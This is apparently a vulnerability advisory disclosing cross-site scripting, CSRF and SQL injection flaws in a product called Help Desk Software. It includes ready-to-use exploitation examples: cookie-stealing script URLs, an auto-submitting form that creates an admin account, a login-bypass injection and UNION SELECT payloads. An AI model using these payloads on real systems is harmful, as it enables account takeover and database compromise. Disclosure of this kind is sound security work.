High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Help Desk Software, which can be exploited to perform SQL injection, cross-site scripting and cross-site request forgery attacks.
1) Cross-site scripting vulnerabilities in Help Desk Software
Input passed via the "returnurl" GET parameter to index.php is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a administrator browser session in context of affected website.
Exploitation example:
http://[host]/index.php?sub=types&action=add&type=1&returnurl=%22%3E%3Cscrip t%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/index.php?sub=types&action=edit&type_id=15&type=1&returnurl=%2 2%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/index.php?sub=types&action=add&type=2&returnurl=%22%3E%3Cscrip t%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/index.php?sub=types&action=edit&type_id=8&type=2&returnurl=%22 %3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/index.php?sub=staff&action=add&type=&returnurl=%22%3E%3Cscript %3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/index.php?sub=staff&action=edit&type_id=7&type=&returnurl=%22% 3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/index.php?sub=types&action=add&type=3&returnurl=%22%3E%3Cscrip t%3Ealert%28document.cookie%29;%3C/script%3E
2) Cross-site request forgery (CSRF) in Help Desk Software
The application allows users to perform certain actions via HTTP requests without making proper validity checks to verify the requests. This can be exploited to create new accounts by tricking an administrator into visiting a malicious web site while being logged-in to the application.
Exploitation example:
<form action="http://[host]/index.php?sub=users&action=store&type=add" method="post">
<input type="hidden" name="user_id" value="">
<input type="hidden" name="user_name" value="newadmin">
<input type="hidden" name="user_login" value="newadmin">
<input type="hidden" name="user_password" value="123456">
<input type="hidden" name="user_password_confirm" value="123456">
<input type="hidden" name="user_level" value="0">
<input type="hidden" name="user_email" value="">
<input type="submit" id="btn">
</form>
<script>
document.getElementById('btn').click();
</script>
3) SQL injection vulnerabilities in Help Desk Software
3.1 Input passed via the user POST parameter to index.php is not properly sanitised before being used in a SQL query. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
Exploitation example:
<form action="http://[host]/index.php" method="post">
<input type="hidden" name="user" value="' OR 1=1 -- ">
<input type="hidden" name="pass" value="1">
<input name="send" value="exploit" type="submit">
</form>
Successful exploitation of the vulnerabilities requires that "magic_quotes_gpc" is off.
3.2 Input passed via the user_id GET parameter to index.php is not properly sanitised before being used in a SQL query. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
Exploitation example:
http://[host]/index.php?sub=users&action=edit&user_id=-1%27%20union%20select %201,2,3,version%28%29,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,2 4,25,26,27%20+--+
Successful exploitation of the vulnerabilities requires that attacker have access to admin panel and "magic_quotes_gpc" is off.
3.3 Input passed via the type_id GET parameter to index.php is not properly sanitised before being used in a SQL query. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
Exploitation example:
http://[host]/index.php?sub=types&action=edit&type_id=123%27%20union%20select%201,2,version%28%29,4,5,6%20+--+
Successful exploitation of the vulnerabilities requires that attacker have access to admin panel and "magic_quotes_gpc" is off.
3.4 Input passed via the call_id GET parameter to index.php is not properly sanitised before being used in a SQL query. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
Exploitation example:
http://[host]/index.php?sub=help&action=details&call_id=1%27%20union%20selec t%201,version%28%29,3,4,5,6,7,8,9,10,11,12,13,14,15%20+--+
Successful exploitation of the vulnerabilities requires that attacker have access to user panel and "magic_quotes_gpc" is off.
3.5 Input passed via the call_first_name, call_solution, call_department, call_request, call_device and call_staff GET parameters to index.php is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
Exploitation example:
http://[host]/index.php?sub=help&call_first_name=%22%20and%201=1%20+--+
Successful exploitation of the vulnerabilities requires that attacker have access to user panel and "magic_quotes_gpc" is off.
|
